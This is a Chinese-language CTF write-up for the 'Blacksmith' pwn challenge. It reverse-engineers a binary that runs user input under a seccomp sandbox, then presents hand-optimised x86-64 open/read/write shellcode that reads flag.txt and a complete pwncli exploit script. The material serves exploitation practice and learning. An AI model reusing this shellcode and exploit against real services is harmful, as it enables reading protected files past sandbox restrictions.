前言
该题目的主题是shellcode orw绕过沙箱,文末提供优化后的orw shellcode读取flag.txt(0x30字节)
每日一题计划:督促自己练习,每日分享一题的练习!想一起刷题咱们可以一起练练练,以及,相互监督!
今天是第6天,明天网鼎,今天随便做做
题目情况
You are the only one who is capable of saving this town and bringing peace upon this land! You found a blacksmith who can create the most powerful weapon in the world! You can find him under the label "./flag.txt".
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
可执行栈,疑似shellcode题
逆向分析
运行看到是菜单选项:
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
>
main.c:
int __fastcall main(int argc, const char **argv, const char **envp)
{
size_t v3; // rax
int input; // [rsp+0h] [rbp-20h] BYREF
int v7; // [rsp+4h] [rbp-1Ch] BYREF
const char *v8; // [rsp+8h] [rbp-18h]
char *s; // [rsp+10h] [rbp-10h]
unsigned __int64 v10; // [rsp+18h] [rbp-8h]
v10 = __readfsqword(0x28u);
setup(argc, argv, envp);
v8 = "You are worthy to carry this Divine Weapon and bring peace to our homeland!\n";
s = "This in not a weapon! Do not try to mock me!\n";
puts("Traveler, I need some materials to fuse in order to create something really powerful!");
printf(
"Do you have the materials I need to craft the Ultimate Weapon?\n"
"1. Yes, everything is here!\n"
"2. No, I did not manage to bring them all!\n"
"> ");
__isoc99_scanf("%d", &input);
if ( input != 1 )
{
puts("Farewell traveler! Come back when you have all the materials!");
exit(34);
}
printf("What do you want me to craft?\n1. 馃棥\n2. 馃洝\n3. 馃徆\n> ");
__isoc99_scanf("%d", &v7);
sec(); // sandbox
switch ( v7 )
{
case 2:
shield();
break;
case 3:
bow();
break;
case 1:
sword();
break;
default:
v3 = strlen(s);
write(1, s, v3);
exit(261);
}
return __readfsqword(0x28u) ^ v10;
}
需要输入选项1,进入后续内容,有一个sec函数是沙箱设置:
unsigned __int64 sec()
{
__int64 v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
prctl(38, 1LL);
prctl(4, 0LL);
v1 = seccomp_init(0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
seccomp_load(v1);
return __readfsqword(0x28u) ^ v2;
}
switch-case结构三个分支,只有分支2有交互:
void shield()
{
size_t v0; // rax
size_t v1; // rax
char buf[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]
v3 = __readfsqword(0x28u);
v0 = strlen(
"Excellent choice! This luminous shield is empowered with Sun's light! 鈽€\n"
"It will protect you from any attack and it can reflect enemies attacks back!\n");
write(
1,
"Excellent choice! This luminous shield is empowered with Sun's light! 鈽€\n"
"It will protect you from any attack and it can reflect enemies attacks back!\n",
v0);
v1 = strlen("Do you like your new weapon?\n> ");
write(1, "Do you like your new weapon?\n> ", v1);
read(0, buf, 0x3FuLL);
JUMPOUT(0xDE2LL);
}
IDA反编译的不完整,看反汇编:
.text:0000000000000D56 ; void shield()
.text:0000000000000D56 public shield
.text:0000000000000D56 shield proc near ; CODE XREF: main+E0↓p
.text:0000000000000D56
.text:0000000000000D56 s = qword ptr -60h
.text:0000000000000D56 var_58 = qword ptr -58h
.text:0000000000000D56 buf = byte ptr -50h
.text:0000000000000D56 var_8 = qword ptr -8
.text:0000000000000D56
.text:0000000000000D56 ; __unwind {
.text:0000000000000D56 push rbp
.text:0000000000000D57 mov rbp, rsp
.text:0000000000000D5A sub rsp, 60h
.text:0000000000000D5E mov rax, fs:28h
.text:0000000000000D67 mov [rbp+var_8], rax
.text:0000000000000D6B xor eax, eax
.text:0000000000000D6D lea rax, aExcellentChoic ; "Excellent choice! This luminous shield "...
.text:0000000000000D74 mov [rbp+s], rax
.text:0000000000000D78 lea rax, aDoYouLikeYourN ; "Do you like your new weapon?\n> "
.text:0000000000000D7F mov [rbp+var_58], rax
.text:0000000000000D83 mov rax, [rbp+s]
.text:0000000000000D87 mov rdi, rax ; s
.text:0000000000000D8A call _strlen
.text:0000000000000D8F mov rdx, rax ; n
.text:0000000000000D92 mov rax, [rbp+s]
.text:0000000000000D96 mov rsi, rax ; buf
.text:0000000000000D99 mov edi, 1 ; fd
.text:0000000000000D9E call _write
.text:0000000000000DA3 mov rax, [rbp+var_58]
.text:0000000000000DA7 mov rdi, rax ; s
.text:0000000000000DAA call _strlen
.text:0000000000000DAF mov rdx, rax ; n
.text:0000000000000DB2 mov rax, [rbp+var_58]
.text:0000000000000DB6 mov rsi, rax ; buf
.text:0000000000000DB9 mov edi, 1 ; fd
.text:0000000000000DBE call _write
.text:0000000000000DC3 lea rax, [rbp+buf]
.text:0000000000000DC7 mov edx, 3Fh ; '?' ; nbytes
.text:0000000000000DCC mov rsi, rax ; buf
.text:0000000000000DCF mov edi, 0 ; fd
.text:0000000000000DD4 call _read
.text:0000000000000DD9 lea rdx, [rbp+buf]
.text:0000000000000DDD mov eax, 0
.text:0000000000000DDD shield endp ; sp-analysis failed
.text:0000000000000DDD
.text:0000000000000DE2 call rdx
.text:0000000000000DE4 nop
.text:0000000000000DE5 mov rax, [rbp-8]
.text:0000000000000DE9 xor rax, fs:28h
.text:0000000000000DF2 jz short locret_DF9
.text:0000000000000DF4 call ___stack_chk_fail
.text:0000000000000DF9 ; ---------------------------------------------------------------------------
.text:0000000000000DF9
.text:0000000000000DF9 locret_DF9: ; CODE XREF: .text:0000000000000DF2↑j
.text:0000000000000DF9 leave
.text:0000000000000DFA retn
.text:0000000000000DFA ; } // starts at D56
接收0x3f大小的内容并执行,这里是写入shellcode的
利用分析
沙箱分析
Blacksmith ➤ seccomp-tools dump ./blacksmith
[sudo] password for selph:
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 1
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
只需要open,read,write,exit函数,那就直接写orw的shellcode即可
shellcode 编写
shellcode.s: Assembler messages:
shellcode.s: Warning: end of file not at end of a line; newline inserted
00000000 48 31 c0 50 5e 50 5a b0 02 48 8d 3d 17 00 00 00 |H1.P^PZ..H.=....|
00000010 0f 05 48 89 fe 48 89 c7 b2 ff 48 31 c0 0f 05 ff |..H..H....H1....|
00000020 cf ff cf b0 01 0f 05 66 6c 61 67 2e 74 78 74 00 |.......flag.txt.|
00000030
./get_shellcode_raw.sh: line 4: : command not found
shellcode_elf: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
401000: 48 31 c0 xor rax,rax
401003: 50 push rax
401004: 5e pop rsi
401005: 50 push rax
401006: 5a pop rdx
401007: b0 02 mov al,0x2
401009: 48 8d 3d 17 00 00 00 lea rdi,[rip+0x17] # 401027 <file>
401010: 0f 05 syscall
401012: 48 89 fe mov rsi,rdi
401015: 48 89 c7 mov rdi,rax
401018: b2 ff mov dl,0xff
40101a: 48 31 c0 xor rax,rax
40101d: 0f 05 syscall
40101f: ff cf dec edi
401021: ff cf dec edi
401023: b0 01 mov al,0x1
401025: 0f 05 syscall
0000000000401027 <file>:
401027: 66 6c data16 ins BYTE PTR es:[rdi],dx
401029: 61 (bad)
40102a: 67 2e 74 78 addr32 cs je 4010a6 <file+0x7f>
40102e: 74 00 je 401030 <file+0x9>
我最原版写的shellcode有0x40字节,这是我优化后的版本,优化到了0x30字节,python版本:
buffer = b''.join([
b'\x48\x31\xC0\x50\x5E\x50\x5A\xB0\x02\x48\x8D\x3D\x17\x00\x00\x00',
b'\x0F\x05\x48\x89\xFE\x48\x89\xC7\xB2\xFF\x48\x31\xC0\x0F\x05\xFF',
b'\xCF\xFF\xCF\xB0\x01\x0F\x05\x66\x6C\x61\x67\x2E\x74\x78\x74\x00'])
完整exp
#!/usr/bin/env python3
from pwncli import *
cli_script()
from ae64 import *
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
buffer = b''.join([
b'\x48\x31\xC0\x50\x5E\x50\x5A\xB0\x02\x48\x8D\x3D\x17\x00\x00\x00',
b'\x0F\x05\x48\x89\xFE\x48\x89\xC7\xB2\xFF\x48\x31\xC0\x0F\x05\xFF',
b'\xCF\xFF\xCF\xB0\x01\x0F\x05\x66\x6C\x61\x67\x2E\x74\x78\x74\x00'])
sla(b"> ",b"1")
sla(b"> ",b"2")
sl(buffer)
ia()
总结
shellcode题,orw,0x3f字节限制